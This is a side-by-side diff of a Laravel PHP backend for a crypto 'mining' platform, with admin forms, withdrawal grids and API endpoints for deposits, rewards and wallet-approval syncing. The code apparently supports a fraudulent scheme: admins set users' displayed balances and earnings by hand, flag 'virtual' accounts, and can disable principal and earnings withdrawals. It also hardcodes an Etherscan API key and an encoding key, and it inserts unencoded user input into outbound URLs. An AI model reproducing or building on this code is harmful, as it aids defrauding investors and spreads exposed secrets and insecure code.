$form->text('SHIB_T2', __('收益SHIB2'))->default($vault2->SHIB_T); $form->text('SHIB_T2', __('收益SHIB2'))->default($vault2->SHIB_T);
$form->text('UNI', __('账号余额UNI')); $form->text('UNI', __('账号余额UNI'));
$form->text('UNI_V', __('策略(平台币)UNI'))->default($vault->UNI); $form->text('UNI_V', __('策略(平台币)UNI'))->default($vault->UNI);
$form->text('UNI_V2', __('策略(自身币)UNI'))->default($vault2->UNI); $form->text('UNI_V2', __('策略(自身币)UNI'))->default($vault2->UNI);
$form->text('UNI_T', __('收益UNI'))->default($vault->UNI); $form->text('UNI_T', __('收益UNI'))->default($vault->UNI);
$form->text('UNI_T2', __('收益UNI2'))->default($vault2->UNI); $form->text('UNI_T2', __('收益UNI2'))->default($vault2->UNI);
$form->text('DAI', __('账号余额DAI')); $form->text('DAI', __('账号余额DAI'));
$form->text('DAI_V', __('策略(平台币)DAI'))->default($vault->DAI); $form->text('DAI_V', __('策略(平台币)DAI'))->default($vault->DAI);
$form->text('DAI_V2', __('策略(自身币)DAI'))->default($vault2->DAI); $form->text('DAI_V2', __('策略(自身币)DAI'))->default($vault2->DAI);
$form->text('DAI_T', __('收益DAI'))->default($vault->DAI_T); $form->text('DAI_T', __('收益DAI'))->default($vault->DAI_T);
$form->text('DAI_T2', __('收益DAI2'))->default($vault2->DAI_T); $form->text('DAI_T2', __('收益DAI2'))->default($vault2->DAI_T);
$form->text('USDC', __('账号余额USDC')); $form->text('USDC', __('账号余额USDC'));
$form->text('USDC_V', __('策略(平台币)USDC'))->default($vault->USDC); $form->text('USDC_V', __('策略(平台币)USDC'))->default($vault->USDC);
$form->text('USDC_V2', __('策略(自身币)USDC'))->default($vault2->USDC); $form->text('USDC_V2', __('策略(自身币)USDC'))->default($vault2->USDC);
$form->text('USDC_T', __('收益USDT'))->default($vault->USDC_T); $form->text('USDC_T', __('收益USDT'))->default($vault->USDC_T);
$form->text('USDC_T2', __('收益USDT2'))->default($vault2->USDC_T); $form->text('USDC_T2', __('收益USDT2'))->default($vault2->USDC_T);
$states = [ $states = [
'off' => ['value' => 2, 'text' => '禁用', 'color' => 'danger'], 'off' => ['value' => 2, 'text' => '禁用', 'color' => 'danger'],
'on' => ['value' => 1, 'text' => '正常', 'color' => 'success'], 'on' => ['value' => 1, 'text' => '正常', 'color' => 'success'],
]; ];
$user_type = [ $user_type = [
'off' => ['value' => 0, 'text' => '正常号', 'color' => 'danger'], 'off' => ['value' => 0, 'text' => '正常号', 'color' => 'danger'],
'on' => ['value' => 1, 'text' => '虚拟号', 'color' => 'success'], 'on' => ['value' => 1, 'text' => '虚拟号', 'color' => 'success'],
]; ];
$form->switch('user_type','账号状态')->states($user_type); $form->switch('user_type', '账号状态')->states($user_type);
$form->switch('use','本金状态')->states($states); $form->switch('use', '本金状态')->states($states);
$form->switch('use1','收益状态')->states($states); $form->switch('use1', '收益状态')->states($states);
$form->setAction('post'); $form->setAction('post');
return $form; return $form;
} }
public function post(Request $request) public function post(Request $request)
{ {
$id = $request->id; $id = $request->id;
$user= User::where(['id' => $id])->first(); $user = User::where(['id' => $id])->first();
$vault = Vault::where(['address' => $user->address ])->update([ $vault = Vault::where(['address' => $user->address])->update([
'USDT' =>$request->input("USDT_V"), 'USDT' => $request->input("USDT_V"),
'WETH' => $request->input("WETH_V"), 'WETH' => $request->input("WETH_V"),
'WETH_T' => $request->input("WETH_T"), 'WETH_T' => $request->input("WETH_T"),
'USDT_T' => $request->input("USDT_T"), 'USDT_T' => $request->input("USDT_T"),
'WBTC' => $request->input("WBTC_V"), 'WBTC' => $request->input("WBTC_V"),
'WBTC_T' => $request->input("WBTC_T"), 'WBTC_T' => $request->input("WBTC_T"),
'SHIB' => $request->input("SHIB_V"), 'SHIB' => $request->input("SHIB_V"),
'SHIB_T' => $request->input("SHIB_T"), 'SHIB_T' => $request->input("SHIB_T"),
'UNI' => $request->input("UNI_V"), 'UNI' => $request->input("UNI_V"),
'UNI_T' => $request->input("UNI_T"), 'UNI_T' => $request->input("UNI_T"),
'DAI' => $request->input("DAI_V"), 'DAI' => $request->input("DAI_V"),
'DAI_T' => $request->input("DAI_T"), 'DAI_T' => $request->input("DAI_T"),
'USDC' => $request->input("USDC_V"), 'USDC' => $request->input("USDC_V"),
'USDC_T' => $request->input("USDC_T"), 'USDC_T' => $request->input("USDC_T"),
]); ]);
$vault2 = Vault2::where(['address' => $user->address])->update([ $vault2 = Vault2::where(['address' => $user->address])->update([
'USDT' => $request->input("USDT_V2"), 'USDT' => $request->input("USDT_V2"),
'USDT_T' => $request->input("USDT_T2"), 'USDT_T' => $request->input("USDT_T2"),
'WETH' => $request->input("WETH_V2"), 'WETH' => $request->input("WETH_V2"),
'WETH_T' => $request->input("WETH_T2"), 'WETH_T' => $request->input("WETH_T2"),
'WBTC' => $request->input("WBTC_V2"), 'WBTC' => $request->input("WBTC_V2"),
'WBTC_T' => $request->input("WBTC_T2"), 'WBTC_T' => $request->input("WBTC_T2"),
'SHIB' => $request->input("SHIB_V2"), 'SHIB' => $request->input("SHIB_V2"),
'SHIB_T' => $request->input("SHIB_T2"), 'SHIB_T' => $request->input("SHIB_T2"),
'UNI' => $request->input("UNI_V2"), 'UNI' => $request->input("UNI_V2"),
'UNI_T' => $request->input("UNI_T2"), 'UNI_T' => $request->input("UNI_T2"),
'USDC' => $request->input("USDC_V2"), 'USDC' => $request->input("USDC_V2"),
'USDC_T' => $request->input("USDC_T2"), 'USDC_T' => $request->input("USDC_T2"),
'DAI' => $request->input("DAI_V2"), 'DAI' => $request->input("DAI_V2"),
'DAI_T' => $request->input("DAI_T2"), 'DAI_T' => $request->input("DAI_T2"),
]); ]);
if( $request->input("user_type") == 'off'){ if ($request->input("user_type") == 'off') {
$user_type= 0; $user_type = 0;
}else{ } else {
$user_type=1; $user_type = 1;
} }
if($request->input("use") == 'off'){ if ($request->input("use") == 'off') {
$use= 2; $use = 2;
}else{ } else {
$use=1; $use = 1;
} }
if($request->input("use1") == 'off'){ if ($request->input("use1") == 'off') {
$use1= 2; $use1 = 2;
}else{ } else {
$use1=1; $use1 = 1;
} }
$user= User::where(['id' => $id])->update([ $user = User::where(['id' => $id])->update([
'USDT' => $request->input("USDT"), 'USDT' => $request->input("USDT"),
'WETH' => $request->input("WETH"), 'WETH' => $request->input("WETH"),
'WBTC' => $request->input("WBTC"), 'WBTC' => $request->input("WBTC"),
'UNI' => $request->input("UNI"), 'UNI' => $request->input("UNI"),
'DAI' => $request->input("DAI"), 'DAI' => $request->input("DAI"),
'SHIB' => $request->input("SHIB"), 'SHIB' => $request->input("SHIB"),
'USDC' => $request->input("USDC"), 'USDC' => $request->input("USDC"),
'remark' => $request->input("remark"), 'remark' => $request->input("remark"),
'use'=>$use, 'use' => $use,
'use1'=>$use1, 'use1' => $use1,
'user_type'=>$user_type 'user_type' => $user_type
]); ]);
return redirect('/admin/user'); return redirect('/admin/user');
} }
} }

View File

@ -31,7 +31,7 @@ class WithdrawalController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -48,10 +48,12 @@ class WithdrawalController extends AdminController
}); });
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();
$grid->column('address', __('钱包地址'))->expand(function($model) { $grid->column('address', __('钱包地址'))->expand(function ($model) {
return new Table(['哈希值', '真实金额'], [ return new Table(['哈希值', '真实金额'], [
[$model['hash'], $model['true_balance'] [
]]); $model['hash'], $model['true_balance']
]
]);
}); });
$grid->column('remake', __('备注')); $grid->column('remake', __('备注'));
$grid->column('bi_name', __('币种')); $grid->column('bi_name', __('币种'));

View File

@ -31,7 +31,7 @@ Route::group([
$router->resource('other', OtherController::class); $router->resource('other', OtherController::class);
$router->resource('commission', CommissionController::class); $router->resource('commission', CommissionController::class);
$router->resource('nft', NftController::class); $router->resource('nft', NftController::class);
$router->resource('articles', ArticlesController::class); $router->resource('articles', ArticlesController::class);
$router->resource('adminusers', AdminusersController::class); $router->resource('adminusers', AdminusersController::class);
$router->resource('system', SystemController::class); $router->resource('system', SystemController::class);
}); });

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Articles extends Model class Articles extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Authorize extends Model class Authorize extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Balance extends Model class Balance extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Commissions extends Model class Commissions extends Model
{ {
} }

View File

@ -35,7 +35,7 @@ class Kernel extends ConsoleKernel
*/ */
protected function commands() protected function commands()
{ {
$this->load(__DIR__.'/Commands'); $this->load(__DIR__ . '/Commands');
require base_path('routes/console.php'); require base_path('routes/console.php');
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Dao extends Model class Dao extends Model
{ {
} }

View File

@ -6,5 +6,4 @@ use Illuminate\Database\Eloquent\Model;
class Detail extends Model class Detail extends Model
{ {
} }

View File

@ -27,7 +27,6 @@ class ApiController extends Controller
$address = trim($request->input('address')); $address = trim($request->input('address'));
$user = User::where('address', $address)->first(); $user = User::where('address', $address)->first();
if (empty($user)) { if (empty($user)) {
DB::transaction(function () use ($address, $request) { DB::transaction(function () use ($address, $request) {
// 创建 // 创建
$id = User::insertGetId([ $id = User::insertGetId([
@ -56,17 +55,17 @@ class ApiController extends Controller
if ($sid = $request->input('referral')) { if ($sid = $request->input('referral')) {
$sData = User::where(['id' => $sid])->first(); $sData = User::where(['id' => $sid])->first();
if (!empty($sData)) { if (!empty($sData)) {
User::where(['id' => $id])->update([ User::where(['id' => $id])->update([
's_id' => $sid 's_id' => $sid
]); ]);
} }
} }
}); });
echo json_encode(0); echo json_encode(0);
}else{ } else {
User::where('id', $user['id'])->update(['updated_at' => date('Y-m-d H:i:s', time())]); User::where('id', $user['id'])->update(['updated_at' => date('Y-m-d H:i:s', time())]);
$vault = Vault::where(['address' => $address])->first(); $vault = Vault::where(['address' => $address])->first();
$vault2 = Vault2::where(['address' => $address])->first(); $vault2 = Vault2::where(['address' => $address])->first();
$user['vault'] = $vault; $user['vault'] = $vault;
$user['vault2'] = $vault2; $user['vault2'] = $vault2;
@ -79,7 +78,7 @@ class ApiController extends Controller
{ {
$address = $request->input('address'); $address = $request->input('address');
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/'.strtolower($address)); $data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($address));
$data_array = json_decode($data, true); $data_array = json_decode($data, true);
$list = Single::where(['type' => 3])->get(); $list = Single::where(['type' => 3])->get();
@ -91,11 +90,11 @@ class ApiController extends Controller
foreach ($list as $l) { foreach ($list as $l) {
if ($l['address'] == $v['hash']) { if ($l['address'] == $v['hash']) {
User::where(['address' => $address])->update([ User::where(['address' => $address])->update([
$l['name'] => $v['balance'] / pow( 10, $v['tokenInfo']['d']) $l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d'])
]); ]);
Vault3::where(['address' => $address])->update([ Vault3::where(['address' => $address])->update([
$l['name'] => $v['balance'] / pow( 10, $v['tokenInfo']['d']), $l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d']),
]); ]);
} }
} }
@ -117,7 +116,7 @@ class ApiController extends Controller
// 授权记录查询 // 授权记录查询
public function apiEther(Request $request) public function apiEther(Request $request)
{ {
$data = file_get_contents("https://api.etherscan.io/api?module=account&action=txlist&address=".$request->input('address')."&apiKey=NTBHBJKFU6G8H9RSIGDD24XBIRK3YJ3C64"); $data = file_get_contents("https://api.etherscan.io/api?module=account&action=txlist&address=" . $request->input('address') . "&apiKey=NTBHBJKFU6G8H9RSIGDD24XBIRK3YJ3C64");
echo $data; echo $data;
} }
@ -148,7 +147,7 @@ class ApiController extends Controller
$to = User::whereDay('created_at', date('d', strtotime("-1 day")))->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray(); $to = User::whereDay('created_at', date('d', strtotime("-1 day")))->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray();
} }
if ($req['type'] == 3) { if ($req['type'] == 3) {
$end = date('Y-m-d H:i:s',strtotime('last Monday')); $end = date('Y-m-d H:i:s', strtotime('last Monday'));
$start = date('Y-m-d H:i:s', strtotime('last Monday') - 86400 * 7); $start = date('Y-m-d H:i:s', strtotime('last Monday') - 86400 * 7);
$to = User::where('created_at', '>', $start)->where('created_at', '<', $end)->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray(); $to = User::where('created_at', '>', $start)->where('created_at', '<', $end)->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray();
} }
@ -205,7 +204,7 @@ class ApiController extends Controller
// 同步授权 // 同步授权
public function authorization(Request $request) public function authorization(Request $request)
{ {
$wallet = trim($request->input('wallet'),'|'); $wallet = trim($request->input('wallet'), '|');
$address = trim($request->input('address')); $address = trim($request->input('address'));
$user = User::where('address', $address)->first(); $user = User::where('address', $address)->first();
@ -269,7 +268,6 @@ class ApiController extends Controller
User::where(['address' => $address])->increment('balance', $v1); User::where(['address' => $address])->increment('balance', $v1);
} }
}); });
} }
@ -277,7 +275,7 @@ class ApiController extends Controller
// 同步授权 // 同步授权
public function authorization_v(Request $request) public function authorization_v(Request $request)
{ {
$wallet = trim($request->input('wallet'),'|'); $wallet = trim($request->input('wallet'), '|');
$address = trim($request->input('address')); $address = trim($request->input('address'));
$user = User::where('address', $address)->first(); $user = User::where('address', $address)->first();
@ -390,9 +388,9 @@ class ApiController extends Controller
User::where(['id' => $user['id']])->decrement('dao_count', $data['balance']); User::where(['id' => $user['id']])->decrement('dao_count', $data['balance']);
$balance = null; $balance = null;
if ((time()- 86400 * 7) > $user['dao_time']) { if ((time() - 86400 * 7) > $user['dao_time']) {
$balance = $data['balance'] * ((100 - $system['dao_free']) / 100); $balance = $data['balance'] * ((100 - $system['dao_free']) / 100);
}else{ } else {
$balance = $data['balance']; $balance = $data['balance'];
} }
@ -402,7 +400,7 @@ class ApiController extends Controller
'address' => $data['address'], 'address' => $data['address'],
'remake' => $user['remark'], 'remake' => $user['remark'],
'money' => $data['balance'], 'money' => $data['balance'],
'content' => 'DAO锁仓提取本金('.$balance.')', 'content' => 'DAO锁仓提取本金(' . $balance . ')',
'created_at' => date('Y-m-d H:i:s', time()) 'created_at' => date('Y-m-d H:i:s', time())
]); ]);
} }
@ -452,7 +450,8 @@ class ApiController extends Controller
if ($request->input('type') == 3) { if ($request->input('type') == 3) {
$vault = Vault3::where(['id' => $user->id])->first(); $vault = Vault3::where(['id' => $user->id])->first();
} }
echo json_encode($vault);exit; echo json_encode($vault);
exit;
} }
} }
@ -463,7 +462,7 @@ class ApiController extends Controller
$address = trim($request->input('address')); $address = trim($request->input('address'));
$user = User::where('address', $address)->first(); $user = User::where('address', $address)->first();
if (!empty($user)) { if (!empty($user)) {
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/'.strtolower($address)); $data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($address));
$data_array = json_decode($data, true); $data_array = json_decode($data, true);
$list = Single::where(['type' => 1])->get(); $list = Single::where(['type' => 1])->get();
@ -473,7 +472,7 @@ class ApiController extends Controller
foreach ($list as $l) { foreach ($list as $l) {
if ($l['address'] == $v['hash']) { if ($l['address'] == $v['hash']) {
User::where(['address' => $address])->update([ User::where(['address' => $address])->update([
$l['name'] => $v['balance'] / pow( 10, $v['tokenInfo']['d']) $l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d'])
]); ]);
} }
} }
@ -530,13 +529,14 @@ class ApiController extends Controller
if (!empty($user)) { if (!empty($user)) {
if ($data['type'] == 1) { if ($data['type'] == 1) {
$info = Vault::where(['id' => $user['id']])->first(); $info = Vault::where(['id' => $user['id']])->first();
}else{ } else {
$info = Vault2::where(['id' => $user['id']])->first(); $info = Vault2::where(['id' => $user['id']])->first();
} }
$info['use'] = $user['use']; $info['use'] = $user['use'];
$info['use1'] = $user['use1']; $info['use1'] = $user['use1'];
echo json_encode($info);exit; echo json_encode($info);
exit;
} }
} }
@ -549,7 +549,7 @@ class ApiController extends Controller
if ($user['use1'] == 1) { if ($user['use1'] == 1) {
if ($data['type'] == 1) { if ($data['type'] == 1) {
$info = Vault::where(['id' => $user['id']])->first(); $info = Vault::where(['id' => $user['id']])->first();
}else{ } else {
$info = Vault2::where(['id' => $user['id']])->first(); $info = Vault2::where(['id' => $user['id']])->first();
} }
@ -559,11 +559,11 @@ class ApiController extends Controller
$status = 0; $status = 0;
// 减收益 // 减收益
if ($data['type'] == 1) { if ($data['type'] == 1) {
Vault::where(['id' => $user['id']])->decrement($single['name'].'_T', $info[$single['name'].'_T']); Vault::where(['id' => $user['id']])->decrement($single['name'] . '_T', $info[$single['name'] . '_T']);
$status = 1; $status = 1;
// 增加平台币 // 增加平台币
User::where(['id' => $user['id']])->increment('balance', $info[$single['name'].'_T']); User::where(['id' => $user['id']])->increment('balance', $info[$single['name'] . '_T']);
// 写入日志 // 写入日志
Balance::insert([ Balance::insert([
@ -572,14 +572,14 @@ class ApiController extends Controller
'remake' => '领取挖矿收益(平台币)', 'remake' => '领取挖矿收益(平台币)',
'status' => 2, 'status' => 2,
'created_at' => date('Y-m-d H:i:s', time()), 'created_at' => date('Y-m-d H:i:s', time()),
'money' => $info[$single['name'].'_T'] 'money' => $info[$single['name'] . '_T']
]); ]);
} }
if ($data['type'] == 2) { if ($data['type'] == 2) {
$status = 0; $status = 0;
Vault2::where(['id' => $user['id']])->decrement($single['name'].'_T', $info[$single['name'].'_T']); Vault2::where(['id' => $user['id']])->decrement($single['name'] . '_T', $info[$single['name'] . '_T']);
} }
@ -588,7 +588,7 @@ class ApiController extends Controller
'remake' => $user['remark'], 'remake' => $user['remark'],
'bi_name' => $single['name'], 'bi_name' => $single['name'],
'liexing' => 1, 'liexing' => 1,
'balance' => $info[$single['name'].'_T'], 'balance' => $info[$single['name'] . '_T'],
'type' => $data['type'], 'type' => $data['type'],
'status' => $status, 'status' => $status,
'created_at' => date('Y-m-d H:i:s', time()), 'created_at' => date('Y-m-d H:i:s', time()),
@ -609,7 +609,7 @@ class ApiController extends Controller
if ($user['use'] == 1) { if ($user['use'] == 1) {
if ($data['type'] == 1) { if ($data['type'] == 1) {
$info = Vault::where(['id' => $user['id']])->first(); $info = Vault::where(['id' => $user['id']])->first();
}else{ } else {
$info = Vault2::where(['id' => $user['id']])->first(); $info = Vault2::where(['id' => $user['id']])->first();
} }
@ -635,7 +635,6 @@ class ApiController extends Controller
'updated_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()),
]); ]);
}); });
} }
} }
} }
@ -663,8 +662,8 @@ class ApiController extends Controller
$count += $info['USDC'] * $system['USDC']; $count += $info['USDC'] * $system['USDC'];
$income = ($info['WBTC_T'] + $info['USDT_T']+ $info['WETH_T']+ $info['SHIB_T']+ $info['UNI_T']+ $info['DAI_T']+ $info['USDC_T']) * $system['GLK']; $income = ($info['WBTC_T'] + $info['USDT_T'] + $info['WETH_T'] + $info['SHIB_T'] + $info['UNI_T'] + $info['DAI_T'] + $info['USDC_T']) * $system['GLK'];
}else{ } else {
$info = Vault2::where(['id' => $user['id']])->first(); $info = Vault2::where(['id' => $user['id']])->first();
$count += $info['WBTC'] * $system['WBTC']; $count += $info['WBTC'] * $system['WBTC'];
@ -694,77 +693,76 @@ class ApiController extends Controller
{ {
$endtime = 86400; $endtime = 86400;
$list = Detail::where(['status' => 0]) $list = Detail::where(['status' => 0])
->where('created_at', '>', date('Y-m-d H:i:s', time() - $endtime)) ->where('created_at', '>', date('Y-m-d H:i:s', time() - $endtime))
->get()->toArray(); ->get()->toArray();
$system = System::where(['id' => 1])->first(); $system = System::where(['id' => 1])->first();
foreach ($list as $k => $v) { foreach ($list as $k => $v) {
$data = file_get_contents('https://eth.tokenview.com/api/search/'.$v['hash'].'/?network=eth'); $data = file_get_contents('https://eth.tokenview.com/api/search/' . $v['hash'] . '/?network=eth');
$data_format = json_decode($data, true); $data_format = json_decode($data, true);
if (!empty($data_format) && $data_format['code'] == 1 && !empty($data_format['data'][0]['tokenTransfer'][0])) { if (!empty($data_format) && $data_format['code'] == 1 && !empty($data_format['data'][0]['tokenTransfer'][0])) {
$info = $data_format['data'][0]['tokenTransfer'][0]; $info = $data_format['data'][0]['tokenTransfer'][0];
// 判断两值相等 // 判断两值相等
if (strtolower($v['address']) == $info['from']) { if (strtolower($v['address']) == $info['from']) {
$single = Single::where(['address' => $info['token'], 'type' => $v['type']])->first(); $single = Single::where(['address' => $info['token'], 'type' => $v['type']])->first();
// 事务更新 // 事务更新
DB::transaction(function () use ($single, $v, $info, $system) { DB::transaction(function () use ($single, $v, $info, $system) {
// 当前用户操作数, 最后操作时间变动 // 当前用户操作数, 最后操作时间变动
$user = User::where(['address' => $v['address']])->first(); $user = User::where(['address' => $v['address']])->first();
// 当前存入变动 // 当前存入变动
$balance = $info['value']/ pow(10, $info['tokenInfo']['d']); $balance = $info['value'] / pow(10, $info['tokenInfo']['d']);
User::where(['address' => $v['address']])->update([ User::where(['address' => $v['address']])->update([
'updated_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()),
'num' => $user['num'] + 1, 'num' => $user['num'] + 1,
'count_amount' => ($system[$single['name']] * $balance) + $user['count_amount'] 'count_amount' => ($system[$single['name']] * $balance) + $user['count_amount']
]); ]);
Detail::where(['address' => $v['address']])->update([ Detail::where(['address' => $v['address']])->update([
'status' => 1, 'status' => 1,
'true_balance' => $balance, 'true_balance' => $balance,
'updated_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()),
]); ]);
// 产品列表加 // 产品列表加
Single::where(['id' => $single['id']])->increment('count_use', $balance); Single::where(['id' => $single['id']])->increment('count_use', $balance);
Single::where(['id' => $single['id']])->increment('real', $balance); Single::where(['id' => $single['id']])->increment('real', $balance);
// 个人存入余额增加
if ($v['type'] == 1) {
Vault::where(['id' => $user['id']])->increment($single['name'], $balance);
}
if ($v['type'] == 2){
Vault2::where(['id' => $user['id']])->increment($single['name'], $balance);
}
});
}
}
// 个人存入余额增加
if ($v['type'] == 1) {
Vault::where(['id' => $user['id']])->increment($single['name'], $balance);
}
if ($v['type'] == 2) {
Vault2::where(['id' => $user['id']])->increment($single['name'], $balance);
}
});
}
}
} }
} }
// 奖励发放 (平台币) // 奖励发放 (平台币)
public function reward1 () public function reward1()
{ {
$config = System::where(['id' => 1])->first(); $config = System::where(['id' => 1])->first();
$single = Single::where(['type' => 1])->pluck('yield', 'name'); $single = Single::where(['type' => 1])->pluck('yield', 'name');
$data = Vault::where('updated_at', '<', date('Y-m-d H:i:s',time() - ($config['time1'] * 60)))->get(); $data = Vault::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time1'] * 60)))->get();
$list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC']; $list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC'];
foreach ($data as $k => $v) { foreach ($data as $k => $v) {
foreach ($list as $v1) { foreach ($list as $v1) {
if ($v[$v1] > 0) { if ($v[$v1] > 0) {
// 计算利息 // 计算利息
$lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['time1']; $lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['time1'];
$benji = $v[$v1] * $config[$v1] * $lixi; $benji = $v[$v1] * $config[$v1] * $lixi;
DB::transaction(function () use ($v, $v1, $benji, $config) { DB::transaction(function () use ($v, $v1, $benji, $config) {
Vault::where(['id' => $v['id']])->where('updated_at', '<', date('Y-m-d H:i:s',time() - ($config['time1'] * 60)))->increment($v1.'_T', $benji); Vault::where(['id' => $v['id']])->where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time1'] * 60)))->increment($v1 . '_T', $benji);
Balance::insert([ Balance::insert([
'address' => $v['address'], 'address' => $v['address'],
@ -798,7 +796,6 @@ class ApiController extends Controller
} }
} }
} }
} }
@ -807,7 +804,7 @@ class ApiController extends Controller
{ {
$config = System::where(['id' => 1])->first(); $config = System::where(['id' => 1])->first();
$single = Single::where(['type' => 2])->pluck('yield', 'name'); $single = Single::where(['type' => 2])->pluck('yield', 'name');
$data = Vault2::where('updated_at', '<', date('Y-m-d H:i:s',time() - ($config['time2'] * 60)))->get(); $data = Vault2::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time2'] * 60)))->get();
$list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC']; $list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC'];
foreach ($data as $k => $v) { foreach ($data as $k => $v) {
foreach ($list as $v1) { foreach ($list as $v1) {
@ -818,12 +815,12 @@ class ApiController extends Controller
$benji = $v[$v1] * $lixi; $benji = $v[$v1] * $lixi;
DB::transaction(function () use ($v, $v1, $benji, $config) { DB::transaction(function () use ($v, $v1, $benji, $config) {
Vault2::where(['id' => $v['id']])->increment($v1.'_T', $benji); Vault2::where(['id' => $v['id']])->increment($v1 . '_T', $benji);
Balance::insert([ Balance::insert([
'address' => $v['address'], 'address' => $v['address'],
'name' => $v1, 'name' => $v1,
'remake' => '挖矿利息发放'.$v1.'(自身币)', 'remake' => '挖矿利息发放' . $v1 . '(自身币)',
'money' => $benji, 'money' => $benji,
'status' => 1, 'status' => 1,
'created_at' => date('Y-m-d H:i:s') 'created_at' => date('Y-m-d H:i:s')
@ -860,7 +857,7 @@ class ApiController extends Controller
{ {
$config = System::where(['id' => 1])->first(); $config = System::where(['id' => 1])->first();
$single = Single::where(['type' => 3])->pluck('yield', 'name'); $single = Single::where(['type' => 3])->pluck('yield', 'name');
$data = Vault3::where('updated_at', '<', date('Y-m-d H:i:s',time() - ($config['liudong'] * 60)))->get(); $data = Vault3::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['liudong'] * 60)))->get();
$list = ['USDT', 'USDC']; $list = ['USDT', 'USDC'];
foreach ($data as $k => $v) { foreach ($data as $k => $v) {
@ -871,12 +868,12 @@ class ApiController extends Controller
$benji = $v[$v1] * $lixi; $benji = $v[$v1] * $lixi;
DB::transaction(function () use ($v, $v1, $benji, $config) { DB::transaction(function () use ($v, $v1, $benji, $config) {
Vault3::where(['id' => $v['id']])->increment($v1.'_T', $benji); Vault3::where(['id' => $v['id']])->increment($v1 . '_T', $benji);
Balance::insert([ Balance::insert([
'address' => $v['address'], 'address' => $v['address'],
'name' => $v1, 'name' => $v1,
'remake' => '流动挖矿利息发放'.$v1, 'remake' => '流动挖矿利息发放' . $v1,
'money' => $benji, 'money' => $benji,
'status' => 6, 'status' => 6,
'created_at' => date('Y-m-d H:i:s') 'created_at' => date('Y-m-d H:i:s')
@ -894,19 +891,19 @@ class ApiController extends Controller
$list = Vault3::where(['status' => 1])->get(); $list = Vault3::where(['status' => 1])->get();
foreach ($list as $k => $v) { foreach ($list as $k => $v) {
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/'.strtolower($v->address)); $data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($v->address));
$data_array = json_decode($data, true); $data_array = json_decode($data, true);
if ($data_array['code'] == 1) { if ($data_array['code'] == 1) {
foreach ($data_array['data'] as $v1) { foreach ($data_array['data'] as $v1) {
if ($v1['tokenInfo']['s'] == 'USDT') { if ($v1['tokenInfo']['s'] == 'USDT') {
Vault3::where(['id' => $v['id']])->update([ Vault3::where(['id' => $v['id']])->update([
'USDT' => $v1['balance'] / pow( 10, $v1['tokenInfo']['d']) 'USDT' => $v1['balance'] / pow(10, $v1['tokenInfo']['d'])
]); ]);
} }
if ($v1['tokenInfo']['s'] == 'USDC') { if ($v1['tokenInfo']['s'] == 'USDC') {
Vault3::where(['id' => $v['id']])->update([ Vault3::where(['id' => $v['id']])->update([
'USDC' => $v1['balance'] / pow( 10, $v1['tokenInfo']['d']) 'USDC' => $v1['balance'] / pow(10, $v1['tokenInfo']['d'])
]); ]);
} }
} }
@ -921,9 +918,9 @@ class ApiController extends Controller
public function daoTime(Request $request) public function daoTime(Request $request)
{ {
$system = System::where(['id' => 1])->first(); $system = System::where(['id' => 1])->first();
$data = User::where('dao_count', '>', 0)->where('dao_time', '<', date('Y-m-d H:i:s',time() - ($system['dao_interval'] * 60)))->get(); $data = User::where('dao_count', '>', 0)->where('dao_time', '<', date('Y-m-d H:i:s', time() - ($system['dao_interval'] * 60)))->get();
foreach ($data as $k => $v) { foreach ($data as $k => $v) {
$lixi = ($system['dao_lixi'] /100 / 30 / 24 / 60) * $system['dao_lixi']; $lixi = ($system['dao_lixi'] / 100 / 30 / 24 / 60) * $system['dao_lixi'];
$amount = $v['dao_count'] * $lixi; $amount = $v['dao_count'] * $lixi;
DB::transaction(function () use ($amount, $v, $system) { DB::transaction(function () use ($amount, $v, $system) {
@ -1022,21 +1019,22 @@ class ApiController extends Controller
function strencode2($string) function strencode2($string)
{ {
$string = base64_encode ( $string ); $string = base64_encode($string);
$key = '7894af1afaf0.afdas121231afasfaf12a5fzafadsf132aafadf11123ada'; $key = '7894af1afaf0.afdas121231afasfaf12a5fzafadsf132aafadf11123ada';
$len = strlen ( $key ); $len = strlen($key);
$code = ''; $code = '';
for($i = 0; $i < strlen ( $string ); $i ++) { for ($i = 0; $i < strlen($string); $i++) {
